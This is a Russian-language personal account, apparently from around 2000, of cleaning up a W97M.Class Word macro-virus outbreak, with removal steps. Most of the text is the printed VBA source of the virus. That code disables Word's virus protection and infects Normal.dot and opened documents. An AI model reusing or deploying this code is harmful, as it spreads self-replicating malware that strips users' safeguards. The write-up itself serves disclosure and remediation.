Закинул
старик невод в синее море
И
вытащил макровирус W97M.Class…
Александр Новожилов
Да,
работаешь - работаешь, потом бац - вторая
смена. Когда в очередной раз мы попытались
записать файл с дискеты на другой
компьютер и у нас опять ничего не
получилось - все задумались и решили
проверить наши компы на заразу. Зараза не
заставила себя долго ждать и быстро
распространилась.
Результат:
·
7
зараженных компов (по сети, благодаря E-Mail)
- все вылечены
·
230
пораженных файлов - восстановлено 227.
·
Потеряных
файлов 3 (я их в сердцах грохнул, а зря)
Краткое
описание макровируса W97M.Class
Class.sys -
вспомогательный файл к вирусу W97M.Class,
"ложится" в корневой каталог C:\
. Текст программы-вируса
в конце документа (подозреваю, что часть
программы пишется еще в Normal.dot,
т.к. в теле программы есть проверка на
количество строк в этом шаблоне). Вирус поражает файл Normal.dot
(это шаблон Word97
, вирус делает его больше 50 кБ), а также
поражает все открываемые документы Word, т.е.
файлы с расширением *.doc, причем делает
их примерно в 2 раза больше по размеру.
Вирус
активизируется после 14 мая и будет Вас
"приветствовать" и дальше, 14 числа
каждого последующего месяца. Перемешивает
строки в документах, выдает сообщение:
"Я
думаю, что' ИМЯ_ПОЛЬЗОВАТЕЛЯ' большой
толстый сопляк!"
после этого
заменяет строки, сохраняет документ и
закрывает его. В общем делает Вам гадость.
Как я боролся с
этим вирусом
Нашел я его с
помощью программы Dr.Web
для Win32
версия 4.05 beta,
но вылечить файлы она не смогла, поэтому
пришлось мудрить самому. Если открыть
зараженный документ и попытаться перейти
в редактор VBA,
то у Вас ничего не получится (к сожалению).
Во-первых удалите Class.sys
в корневом каталоге C:\, во-вторых -
вирус не способен сесть в WORD2000, поэтому
при открытии документа в WORD2000 Вы
получаете сообщение, что макросы не могут
быть открыты, обратитесь к документации
разработчика и т.д. и т.п. Поэтому все
пораженные файлы можно открыть в WORD2000 на
другом компьютере, и сохранить в формате Word
6.0, но не в формате !!!Word97!!!,
а затем перенести их обратно на пораженный
компьютер. При сохранении пораженного
документа WORD2000 любезно Вам сообщает,
что макросы будут потеряны при
форматировании (что и требовалось
доказать!!!).
Затем
в папке
C:\Programm Files\Microsoft Office\Шаблоны
замените Normal.dot
на настоящий (он
обычно имеет размер 32 256 кБ) или вообще
удалите Normal.dot,
если нечем его заменить. Еще разок
проверьте на вирусы Ваши файлы и только
после этого продолжайте работать с WORD-ом.
Итак, повторим:
- Удалите
Class.sys в корневом каталоге C:\.
- Затем
в папке C:\Programm
Files\Microsoft
Office\Шаблоны
замените Normal.dot
на настоящий (32 256 кБ) или вообще
удалите Normal.dot,
если нечем его заменить.
- Откройте
все пораженные файлы в WORD2000
и сохранить в формате Word 6.0, но
не в формате !!!Word97!!!.
Ниже приводится
текст файла Class.sys
(если убрать все коментарии
получится интересная программка),
фамилия Ломакин Л.В.
в данном случае это ИМЯ_ПОЛЬЗОВАТЕЛЯ
VERSION
1.0 CLASS
BEGIN
MultiUse = -1 'True
END
Attribute
VB_Name = "ThisDocument"
Attribute
VB_Creatable = False
Attribute
VB_PredeclaredId = True
Attribute
VB_Exposed = True
Sub
AutoOpen()
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
On
Error GoTo out
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
Options.VirusProtection
= False
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
Options.SaveNormalPrompt
= False
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
Options.ConfirmConversions
= False
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
ad
= ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
nt
= NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
If
nt > 70 And ad > 0 Then GoTo out
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
If
nt < 70 Then
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
ActiveDocument.VBProject.VBComponents.Item(1).Export
"c:\class.sys"
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
End
If
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
If
ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
If
Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " &
Application.UserName & " is a big stupid jerk!", 0,
"VicodinES Loves You / Class.Poppy"
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
host.codemodule.AddFromFile
("c:\class.sys")
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
With
host.codemodule
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
For x = 1 To 4
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
.deletelines 1
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
Next x
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
End
With
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
If
nt < 70 Then
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
With host.codemodule
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
.replaceline 1, "Sub AutoClose()"
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
.replaceline 71, "Sub ToolsMacro()"
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
End With
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
End
If
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
With
host.codemodule
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
For x = 2 To 72 Step 2
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
.replaceline x, "'" & Application.UserName & Now
& Application.ActivePrinter & Application.ActiveWindow &
Application.Assistant
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
Next x
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
End
With
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
out:
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
If
nt > 70 And ad = 0 Then ActiveDocument.SaveAs
FileName:=ActiveDocument.FullName
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
End
Sub
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
Sub
ViewVBCode()
'Ломакин
Л.В.13.04.00
14:41:53HP DeskJet 400 Series on LPT1:Прот.пр.зн.2.docСкрепыш
End Sub